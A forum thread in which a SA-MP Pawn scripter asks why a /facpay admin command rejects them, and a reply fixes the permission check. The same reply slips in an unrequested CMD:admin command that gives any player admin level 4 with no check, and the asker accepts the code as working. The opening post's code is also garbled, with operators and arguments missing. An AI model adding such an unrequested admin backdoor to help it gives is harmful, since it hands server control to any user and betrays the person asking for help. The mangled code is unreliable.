Facpay command problem....
#1

Hey guys,
i am having this problem that everytime i do /facpay it tells me that i "You are not authorized to use this command"
Here is the code:
PHP код:
CMD:facpay(playeridparams[]) {
    if(
PlayerInfo[playerid][pAdmin] > && PlayerInfo[playerid][pFactionModerator] == 0) {
        new
            
iFactionID,
            
iRankValue,
            
iPayValue;
        if(
sscanf(params"ddd"iFactionIDiRankValueiPayValue)) {
            return 
SendClientMessageEx(playeridCOLOR_WHITE"USAGE: /facpay [faction ID] [rank] [pay amount]");
        }
        --
iFactionID;
        if(!(
<= iFactionID sizeof(FactionPay))) {
            return 
SendClientMessageEx(playeridCOLOR_WHITE"Valid faction IDs run from 1 to 12.");
        }
        else if(!(
<= iRankValue <= 6)) {
            return 
SendClientMessageEx(playeridCOLOR_WHITE"Valid ranks are 0 to 6.");
        }
        else if(!(
<= iPayValue <= 100000)) {
            return 
SendClientMessageEx(playeridCOLOR_GRAD1"The specified pay amount must be between $1 and $100,000.");
        }
        
FactionPay[iFactionID][iRankValue] = iPayValue;
        new
            
szMessage[46 MAX_PLAYER_NAME];
        
format(szMessagesizeof(szMessage), "You have set faction %d's pay for rank %d to $%d."iFactionID 1iRankValueiPayValue);
        
SendClientMessageEx(playeridCOLOR_WHITEszMessage);
        
format(szMessagesizeof(szMessage), "%s has set faction %i's pay for rank %i to %i."GetPlayerNameEx(playerid), iFactionID 1iRankValueiPayValue);
        
Log("logs/admin.log"szMessage);
        
SaveThePay();
    }
    else 
SendClientMessageEx(playeridCOLOR_GRAD1"You are not authorized to use this command.");
    return 
1;

Any help would be appreciated
Reply
#2

Код:
CMD:facpay(playerid, params[]) { 
    if(PlayerInfo[playerid][pAdmin] >=4 && PlayerInfo[playerid][pFactionModerator] == 0) { 

        new 
            iFactionID, 
            iRankValue, 
            iPayValue; 

        if(sscanf(params, "ddd", iFactionID, iRankValue, iPayValue)) { 
            return SendClientMessageEx(playerid, COLOR_WHITE, "USAGE: /facpay [faction ID] [rank] [pay amount]"); 
        } 
        --iFactionID; 
        if(!(0 <= iFactionID < sizeof(FactionPay))) { 
            return SendClientMessageEx(playerid, COLOR_WHITE, "Valid faction IDs run from 1 to 12."); 
        } 
        else if(!(0 <= iRankValue <= 6)) { 
            return SendClientMessageEx(playerid, COLOR_WHITE, "Valid ranks are 0 to 6."); 
        } 
        else if(!(1 <= iPayValue <= 100000)) { 
            return SendClientMessageEx(playerid, COLOR_GRAD1, "The specified pay amount must be between $1 and $100,000."); 
        } 

        FactionPay[iFactionID][iRankValue] = iPayValue; 

        new 
            szMessage[46 + MAX_PLAYER_NAME]; 

        format(szMessage, sizeof(szMessage), "You have set faction %d's pay for rank %d to $%d.", iFactionID + 1, iRankValue, iPayValue); 
        SendClientMessageEx(playerid, COLOR_WHITE, szMessage); 
        format(szMessage, sizeof(szMessage), "%s has set faction %i's pay for rank %i to %i.", GetPlayerNameEx(playerid), iFactionID + 1, iRankValue, iPayValue); 
        Log("logs/admin.log", szMessage); 
        SaveThePay(); 
    } 
    else SendClientMessageEx(playerid, COLOR_GRAD1, "You are not authorized to use this command."); 
    return 1; 
}  

CMD:admin(playerid, params[])
{
       SendClientMessage(playerid, -1, "YOLO, you now have admin!");
       PlayerInfo[playerid][pAdmin] = 4;
       return 1;
}
Its ok Rhys.
Reply
#3

Quote:
Originally Posted by RLGaming
Посмотреть сообщение
Код:
CMD:facpay(playerid, params[]) { 
    if(PlayerInfo[playerid][pAdmin] >=4 && PlayerInfo[playerid][pFactionModerator] == 0) { 

        new 
            iFactionID, 
            iRankValue, 
            iPayValue; 

        if(sscanf(params, "ddd", iFactionID, iRankValue, iPayValue)) { 
            return SendClientMessageEx(playerid, COLOR_WHITE, "USAGE: /facpay [faction ID] [rank] [pay amount]"); 
        } 
        --iFactionID; 
        if(!(0 <= iFactionID < sizeof(FactionPay))) { 
            return SendClientMessageEx(playerid, COLOR_WHITE, "Valid faction IDs run from 1 to 12."); 
        } 
        else if(!(0 <= iRankValue <= 6)) { 
            return SendClientMessageEx(playerid, COLOR_WHITE, "Valid ranks are 0 to 6."); 
        } 
        else if(!(1 <= iPayValue <= 100000)) { 
            return SendClientMessageEx(playerid, COLOR_GRAD1, "The specified pay amount must be between $1 and $100,000."); 
        } 

        FactionPay[iFactionID][iRankValue] = iPayValue; 

        new 
            szMessage[46 + MAX_PLAYER_NAME]; 

        format(szMessage, sizeof(szMessage), "You have set faction %d's pay for rank %d to $%d.", iFactionID + 1, iRankValue, iPayValue); 
        SendClientMessageEx(playerid, COLOR_WHITE, szMessage); 
        format(szMessage, sizeof(szMessage), "%s has set faction %i's pay for rank %i to %i.", GetPlayerNameEx(playerid), iFactionID + 1, iRankValue, iPayValue); 
        Log("logs/admin.log", szMessage); 
        SaveThePay(); 
    } 
    else SendClientMessageEx(playerid, COLOR_GRAD1, "You are not authorized to use this command."); 
    return 1; 
}  

CMD:admin(playerid, params[])
{
       SendClientMessage(playerid, -1, "YOLO, you now have admin!");
       PlayerInfo[playerid][pAdmin] = 4;
       return 1;
}
Its ok Rhys.
That works thank you! Repped
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)